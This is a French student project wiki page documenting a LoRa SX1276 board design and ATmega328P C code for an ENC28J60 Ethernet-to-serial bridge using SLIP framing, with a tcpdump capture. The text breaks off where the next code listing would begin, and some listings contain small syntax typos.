&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:sx1276.PNG|Schematique de Lora SX1276&lt;br /&gt;
Fichier:Connector.PNG‎|Schematique de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259.PNG‎|Schématique de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Con_footprint.PNG|Footprint de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259foot.PNG‎|Footprint de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 Il conviendra de préciser que quelques librairies utilisées sont disponibles et téléchargeables sur le site d'Altium Designer et peuvent être installées sur le logiciel Altium de l'école.&lt;br /&gt;
 http://techdocs.altium.com/display/ADOH/Download+Libraries&lt;br /&gt;
&lt;br /&gt;
Cependant nous avons eu un problème du connecteur, puisque normalement pour les autres composants les pistes sont reliés avec les composants qui sont autours sur le schématique et le routage. Mais après avoir vu la carte que nous avons, pour la partie du connecteur il faut créer une cadre pour fixer la place du connecteur sur la carte PCB.&lt;br /&gt;
&lt;br /&gt;
Parallèlement nous avons réalisé la première étape de la conception d'une carte électronique : la réalisation de la schématique. Ci-dessous les schématiques des différentes parties de la carte&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Ethernet.PNG|Ethernet_Sch&lt;br /&gt;
Fichier:AT328P.PNG|AT328P.PNG_Sch&lt;br /&gt;
Fichier:RF_LoRa.PNG‎|RF_LoRa.PNG_Sch&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Très vite, nous avons entamé la deuxième étape de la conception : le routage. En raison des contraintes de temps, nous allons d'abord produire la partie RF_LoRa afin de pouvoir avancer sur la partie programmation.&lt;br /&gt;
&lt;br /&gt;
====Routage du PCB====&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Le routage consiste à déterminer la route des signaux d'alimentation qui vont relier les composants entre eux et à placer les composants sur la carte.  La carte a été conçue en respectant quelques contraintes de conception dimensionnelles : &lt;br /&gt;
 *la valeurs théoriques de conception sont *largeur des pistes = *,&lt;br /&gt;
 * l'angle entre les pistes ne doit pas être droit, &lt;br /&gt;
 *la carte est en double face, &lt;br /&gt;
&lt;br /&gt;
[[Fichier:CartePCB.PNG‎|500px|center|PCB de la carte]]&lt;br /&gt;
&lt;br /&gt;
==== Réalisation de l'antenne ====&lt;br /&gt;
----&lt;br /&gt;
La carte nécessite une antenne pour la communication RF. En concevant la carte , nous avons désigné la piste reliée à l'antenne de telle sorte qu'elle soit adaptée à 50 ohms (afin d'éviter toute perte de puissance liée à la désadaptation). Nous avons donc utilisé le logiciel AppCAD en prenant en compte certains paramètres tels que le substrat utilisé, la fréquence de fonctionnement,..&lt;br /&gt;
[[Fichier:Sonia.png‎|500px|center|Design de l'antenne]]&lt;br /&gt;
&lt;br /&gt;
====La programmation====&lt;br /&gt;
----&lt;br /&gt;
La carte sera programmée en langage C, langage de programmation modulaire.&lt;br /&gt;
&lt;br /&gt;
Le langage a été choisi pour son caractère universel, sa rapidité, proche du langage machine permettant une programmation simple des microcontrôleurs,..&lt;br /&gt;
 &lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; Partie LoRa &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
semaine 07/11/2016: Ecriture des fonctions d'écriture et de lecture de l'AtMega (digitalWrite() et digitalRead()) en C qui nous permettront d'écrire les fonctions d'écriture et de lecture SPI.&lt;br /&gt;
&lt;br /&gt;
semaine 14/11/2016 : Ecriture des librairies LoRa et AtMega ainsi que des fichiers de compilation.&lt;br /&gt;
&lt;br /&gt;
Le programme est subdivisé en 5 parties : partie configuration des entrées sorties, partie gestion de la liaison SPI , partie gestion de la modulation LoRa ainsi que les parties gérant les modules émetteurs et récepteurs de la communication RF (Client-Server).&lt;br /&gt;
Le programme est compilable. Nous allons d'abord faire des tests basiques sur un Arduino et ensuite nous testerons sur les modules inAir9 de chez modtronix.&lt;br /&gt;
&lt;br /&gt;
Après avoir retranscrit les bibliothèques en C, nous avons tenté de faire un test. On s'est vite rendu compte que les fonctions SPI étaient mal écrites, elles ont été réécrites en utilisant les registres SPI de l'AtMega328P.&lt;br /&gt;
Nous avons également réalisé 3  ponts diviseurs permettant de fournir des tensions supportables par les broches du modem LoRa.&lt;br /&gt;
Cependant,   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Pour la partie Ethernet, dans un premier temps nous avons écrit deux petits programmes pour l'émetteur et le récepteur. &lt;br /&gt;
Voici le code pour l'émetteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;avr/io.h&amp;gt;&lt;br /&gt;
#include &amp;lt;util/delay.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;quot;serial.h&amp;quot;&lt;br /&gt;
#include &amp;quot;spi.h&amp;quot;&lt;br /&gt;
#include &amp;quot;enc28j60.h&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#define MAX_PACKET     128&lt;br /&gt;
#define MAC_SIZE           6&lt;br /&gt;
#define TYPE_SIZE           2&lt;br /&gt;
&lt;br /&gt;
unsigned char mac_sender[]={0x00,0x10,0x10,0x10,0x10,0x01};&lt;br /&gt;
unsigned char mac_receiver[]={0x00,0x10,0x10,0x10,0x10,0x02};&lt;br /&gt;
unsigned char packet_type[]={0x11,0x11};&lt;br /&gt;
unsigned char packet[MAX_PACKET];&lt;br /&gt;
&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_sender);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
memcpy(packet,mac_receiver,MAC_SIZE);&lt;br /&gt;
memcpy(packet+MAC_SIZE,mac_sender,MAC_SIZE);&lt;br /&gt;
memcpy(packet+2*MAC_SIZE,packet_type,2);&lt;br /&gt;
packet[2*MAC_SIZE+2]=0xaa;&lt;br /&gt;
packet[2*MAC_SIZE+3]=0xbb;&lt;br /&gt;
int len=2*MAC_SIZE+TYPE_SIZE+3;&lt;br /&gt;
unsigned char count=0;&lt;br /&gt;
while(1){&lt;br /&gt;
		packet[2*MAC_SIZE+4]=count++;&lt;br /&gt;
                enc28j60PacketSend(len,packet);&lt;br /&gt;
                printf(&amp;quot;Packet send size=%d\n&amp;quot;,len);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et le code pour le récepteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
                int size=enc28J60PacketReceive(MAX_PACKET,packet);&lt;br /&gt;
                printf(&amp;quot;Packet received size=%d\n&amp;quot;,size);&lt;br /&gt;
                int i,col=0;&lt;br /&gt;
                for(i=2*MAC_SIZE+TYPE_SIZE;i&amp;lt;size;i++){&lt;br /&gt;
                     printf(&amp;quot;%02x&amp;quot;,packet[i]);&lt;br /&gt;
                     col++;&lt;br /&gt;
                     if(col==16){ printf(&amp;quot;\n&amp;quot;); col=0);}&lt;br /&gt;
                     }&lt;br /&gt;
                if(col&amp;gt;0) printf&amp;quot;\n&amp;quot;);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ces deux codes permettent l'émetteur et le récepteur de communiquer entre eux. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:communication.jpg|400px|center|La communication entre l'émetteur et le récepteur]]&lt;br /&gt;
&lt;br /&gt;
Avec le minicom, nous avons bien observé les données qui sont envoyées par l'émetteur et les données qui sont reçues par le récepteur.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons développé notre idée. Voici une image pour mieux expliqué comment cela fonctionne.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:Untitled drawing.jpg|400px|thumb|center|Objectif du second prototype]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La carte ethernet1 doit arriver à recevoir des paquets ethernet du PC1 par la liaison série. Ensuite elle doit envoyer ces paquets à Arduino1 via SPI. Après l'Arduino1 va envoyer ces paquets par TX et RX. Une fois qu'Arduino2 reçoit ces paquet, il doit être capable d'envoyer des paquets à la carte ethernet2. Au final la carte ethernet2 doit envoyer toutes des données reçues à PC2. La transmission doit être bidirectionnel. &lt;br /&gt;
Pour réussir ce but, nous avons divisé le travail en deux partie. Dans un premier temps, nous avons programmé une carte comme serveur et l'autre carte comme client. Et nous devions réaliser des taches marquées ci-dessous:&lt;br /&gt;
&lt;br /&gt;
* si un paquet est reçu par le ENC28j60 alors le recopier dans le tableau Ethernet&lt;br /&gt;
* si un paquet est présent dans le tableau Ethernet, envoyer l'octet courant sur le port série&lt;br /&gt;
* si un octet arrive sur le port série le stocker dans le tableau Serie&lt;br /&gt;
* si le paquet dans le tableau Serie est complet, l'envoyer sur Ethernet&lt;br /&gt;
&lt;br /&gt;
Lorsque nous envoyons des paquets via TX/RX donc ceux sont des paquets SLIP. Pour analyser des paquets, il faut chercher le début et la fin de la trame. Le protocole SLIP modifie le paquet IP de la manière suivante&lt;br /&gt;
&lt;br /&gt;
* ajout d'un octet END afin de séparer les différents paquets&lt;br /&gt;
* si l'octet END est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_END&lt;br /&gt;
* si l'octet ESC est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_ESC&lt;br /&gt;
* une variante du protocole peut commencer et finir les paquets par l'octet END&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:slip.png|400px|thumb|center|Les valeurs des octets modifiées sont les suivantes]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Basé sur ce protocole, nous avons donc écrit le code ci-dessous  &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver); //enc28j60Init(mac_sender) pour l'émetteur&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0{&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceiver(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0) index_ethernet=0;&lt;br /&gt;
    }&lt;br /&gt;
  if(nb_ethernet&amp;gt;0){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      }&lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_available()){&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){ enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0; }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite pour visualiser les transmissions des données, nous avons utilisé une commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump -vvvv -n -Xe -ieth0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cette commande permet de savoir le type et les contenues d'un packet. Quelques options importantes pour tcpdump &lt;br /&gt;
*-n: tcpdump ne convertira pas les adresses et les numéros de ports en leurs noms.&lt;br /&gt;
*-i nom_interface : permet de choisir l'interface d'écoute. &lt;br /&gt;
*-v : permet d'afficher encore plus d'informations sur les paquets, il y a trois niveaux de verbosité.&lt;br /&gt;
* -X : affiche les paquets en hexadécimal et en ASCII. &lt;br /&gt;
Donc sur le terminal nous avons eu &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes&lt;br /&gt;
11:16:32.102805 20:3d:20:30:78:30 &amp;gt; 4d:41:41:44:52:35, ethertype Unknown (0x0d0d), length 167: &lt;br /&gt;
	0x0000:  0a4d 4141 4452 3420 3d20 3078 3130 0d0d  .MAADR4.=.0x10..&lt;br /&gt;
	0x0010:  0a4d 4141 4452 3320 3d20 3078 3130 0d0d  .MAADR3.=.0x10..&lt;br /&gt;
	0x0020:  0a4d 4141 4452 3220 3d20 3078 3130 0d0d  .MAADR2.=.0x10..&lt;br /&gt;
	0x0030:  0a4d 4141 4452 3120 3d20 3078 3130 0d0d  .MAADR1.=.0x10..&lt;br /&gt;
	0x0040:  0a4d 4141 4452 3020 3d20 3078 320d 0d0a  .MAADR0.=.0x2...&lt;br /&gt;
	0x0050:  7265 7669 7369 6f6e 3a20 360d 0aff ffff  revision:.6.....&lt;br /&gt;
	0x0060:  ffff ff5c b901 01ed ce08 0600 0108 0006  ...\............&lt;br /&gt;
	0x0070:  0400 015c b901 01ed ceac 1a4f 2100 0000  ...\.......O!...&lt;br /&gt;
	0x0080:  0000 00ac 1a4f fe00 0000 0000 0000 0000  .....O..........&lt;br /&gt;
	0x0090:  0000 0000 0000 0000 00                   .........&lt;br /&gt;
11:16:35.105084 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:36.102140 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:37.102128 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Même si nous avons eu des message sur le port d'écoute mais nous avions un problème du passage d'un paquet ICMP. L'émetteur a essayé d'envoyer certaines types de paquet par exemple paquet ARP, paquet ICMP ... mais du coté de récepteur il n'a pas réussi à capter toutes les types de paquets.&lt;br /&gt;
&lt;br /&gt;
Après avoir étudié le datasheet d'enc28j60, nous avons bien résolu ce problème par ajouter le registre ERXFCON dans la librairie d'enc28j60. Selon son datasheet, ce registre permets de filtrer des paquets que nous recevons. Dans la fonction qui initialise enc28j60, nous avons donc écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
enc28j60Write(ERXFCON,0x60)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
0x60 veut dire que nous mettons le 6ème et 5ème bit de ce registre en 1 et cela permet de laisser passer toutes les types de paquets.&lt;br /&gt;
Nous avons ainsi réessayé ces deux cartes avec la nouvelle librairie et des nouveaux codes. Enfin nous avons réussit à envoyer et à recevoir des paquets ICMP et les autres genres de paquets ARP, IPV4...Nous avons refait la manipulation et nous avions des informations comme-suit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:t1.jpg|thumb|upright=1|manipulation]]&lt;br /&gt;
|[[Fichier:m1.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m2.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m3.jpg|thumb|upright=1|ping]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici le code pour cette partie&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
output_init();&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0){&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0){ index_ethernet=0; output_set(7,1); }&lt;br /&gt;
    }&lt;br /&gt;
  if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available())){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){ &lt;br /&gt;
      output_set(6,1);&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      output_set(6,0);&lt;br /&gt;
      } &lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; output_set(7,0); } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_rx_available()){&lt;br /&gt;
    output_set(5,1);&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    output_set(5,0);&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      output_set(5,1);&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      output_set(5,0);&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){&lt;br /&gt;
       enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0;&lt;br /&gt;
      }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}    &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons passé en deuxième partie, au lieu d'enregistrer des paquets dans la mémoire d'Arduino nous voulions directement utiliser enc28j60 pour envoyer et recevoir des données. Pour cela nous avons changé un peu la fonction dans la librairie. A la place d'appeler la fonction '''enc28j60PacketSend(unsigned int len,unsigned char* packet)''' nous écrivions trois autres fonctions qui permettent initialiser le buffer, écrire un octet sur buffer et finalise envoyer cet octet.Voici ces 3 fonctions&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the Send Buffer&lt;br /&gt;
int sendlen;&lt;br /&gt;
void enc28j60InitializeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the write pointer to start of the transmit buffer area&lt;br /&gt;
	enc28j60Write(EWRPTL, TXSTART_INIT);&lt;br /&gt;
	enc28j60Write(EWRPTH, TXSTART_INIT&amp;gt;&amp;gt;8);&lt;br /&gt;
	sendlen = 0;&lt;br /&gt;
	enc28j60WriteByteSend(0x00);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that writes un octet in the buffer&lt;br /&gt;
&lt;br /&gt;
void enc28j60WriteByteSend(unsigned char byte)&lt;br /&gt;
{&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_WRITE_BUF_MEM, 0, byte);&lt;br /&gt;
	sendlen++;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that finalizes the sending of the byte&lt;br /&gt;
&lt;br /&gt;
void enc28j60FinalizeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the TXND pointer to correspond to the packet size given&lt;br /&gt;
        enc28j60Write(ETXNDL, (TXSTART_INIT+sendlen));&lt;br /&gt;
        enc28j60Write(ETXNDH, (TXSTART_INIT+sendlen)&amp;gt;&amp;gt;8);		&lt;br /&gt;
	// send the contents of the transmit buffer onto the network&lt;br /&gt;
        enc28j60WriteOp(ENC28J60_BIT_FIELD_SET, ECON1, ECON1_TXRTS);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc dans le code main, nous avons écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else{send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
	 		&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et cela marche aussi.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping.jpg|thumb|upright=2|ping]]&lt;br /&gt;
|[[Fichier:tcpdump.jpg|thumb|upright=2|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi remplacé la fonction '''enc28j60PacketReceive(unsigned int maxlen, unsigned char* packet)''' par 3 fonctions.&lt;br /&gt;
La première fonction permet d'initialiser le buffer de recevoir et voir s'il y a un paquet est reçu.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the receive buffer&lt;br /&gt;
unsigned int enc28j60PacketReceive(void)&lt;br /&gt;
{&lt;br /&gt;
	uint16_t rcvlen;&lt;br /&gt;
        uint16_t rxstat;&lt;br /&gt;
	&lt;br /&gt;
	// check if a packet has been received and buffered&lt;br /&gt;
	if(enc28j60Read(EPKTCNT)==0) &lt;br /&gt;
	{&lt;br /&gt;
		return(0);&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	// set the read pointer to the start of the received packet&lt;br /&gt;
	enc28j60Write(ERDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	&lt;br /&gt;
	// read the next packet pointer&lt;br /&gt;
	NextPacketPtr = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	NextPacketPtr |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
&lt;br /&gt;
	// read the packet length&lt;br /&gt;
	rcvlen = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rcvlen |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	// read the receive status&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	return(rcvlen);	&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La seconde fonction permets de lire un seul octet dans un paquet&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
unsigned char enc28j60ByteRead(void)&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
	return enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La troisième fonction permets de libérer le buffer&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void enc28j60FreeMemory(void)&lt;br /&gt;
{       &lt;br /&gt;
	// move the RX read pointer to the start of the next received packet&lt;br /&gt;
	// this frees the memory we just read out&lt;br /&gt;
	enc28j60Write(ERXRDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERXRDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_BIT_FIELD_SET,ECON2,ECON2_PKTDEC);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc le code principal est&lt;br /&gt;
